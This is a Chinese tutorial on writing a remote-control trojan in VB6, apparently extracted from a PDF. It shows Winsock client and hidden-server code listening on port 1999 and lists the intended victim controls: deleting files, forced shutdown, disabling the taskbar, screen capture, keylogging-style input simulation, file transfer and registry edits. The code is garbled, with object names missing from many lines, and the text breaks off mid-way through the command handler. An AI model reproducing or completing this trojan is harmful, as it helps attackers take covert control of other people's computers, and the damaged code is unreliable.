2024年3月19日发(作者:)

浅谈用VB6.0 编写木马程序

现在网络上流行的木马软件基本都是客户机/服务器模式也就是所谓的C/S 结构,目前也有

一些开始向B/S 结构转变,

在这里暂且不对B/S 结构进行详谈,本文主要介绍C/S 结构其原理就是在本机直接启动运行

的程序拥有与使用者相同的权

限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客

户端工具客户程序直接控制它

了。下面来谈谈如何用VB 来实现它。

首先使用VB 建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。

在 Client 工程中建立一个窗体,加载WinSock 控件,称为tcpClient,协议选择TCP,再加

入两个文本框,用以输入服

务器的IP 地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代

码如下:

Private Sub cmdConnect_Click()

If Len() = 0 And Len() = 0 Then

MsgBox ("请输入主机名或主机IP 地址。")

Exit Sub

Else

If Len() > 0 Then

Host =

Else

Host =

End If

End If

t

d = True

End Sub

连接建立之后就可以使用DataArrival 事件处理所收到的数据了。

在服务器端systry 工程也建立一个窗体,加载WinSock 控件,称为tcpServer,协议选择TCP,

在Form_Load 事件中加

入如下代码:

Private Sub Form_Load()

ort = 1999

End Sub

准备应答客户端程序的请求连接,使用ConnectionRequest 事件来应答户端程序的请求,代

码如下:

Private Sub tcpServer_ConnectionRequest

(ByVal requestID As Long)

If < > sckClosed Then

„检查控件的 State 属性是否为关闭的。

End If '如果不是,在接受新的连接之前先关闭此连接。

requestID

End Sub

这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest 事件被触发,执

行了以上的代码。如果不出

意外,连接就被建立起来了。

建立连接后服务器端的程序通过DataArrival 事件接收客户机端程序所发的指令运行既定的

程序。如:把服务器端的驱

动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView 控件以树状的形式

显示出来,浏览服务器端文件目

录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传

过来的文件名或目录名,而删

除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及

进程列表;激活、终止远端进

程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右

键;在目标计算机模拟键盘输

入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示

消息。DataArrival 事件程序如

下:

Private Sub tcpServer_DataArrival

(ByVal bytesTotal As Long)

Dim strData As String

Dim i As Long

Dim mKey As String

a strData

'接收数据并存入strData

For i = 1 To Len(strData)

'分离strData 中的命令

If Mid(strData, i, 1) = "@" Then

mKey = Left(strData, i - 1)

'把命令ID 号存入mKey

'把命令参数存入strData

strData = Right(strData, Len(strData) - i)

Exit For

End If

Next i

Select Case Val(mKey)

Case 1

„驱动器名、目录名、文件名

Case 2

强制关闭服务器端的计算机

Case 3

强制重启服务器端的计算机

Case 4

屏蔽任务栏窗口;

Case 5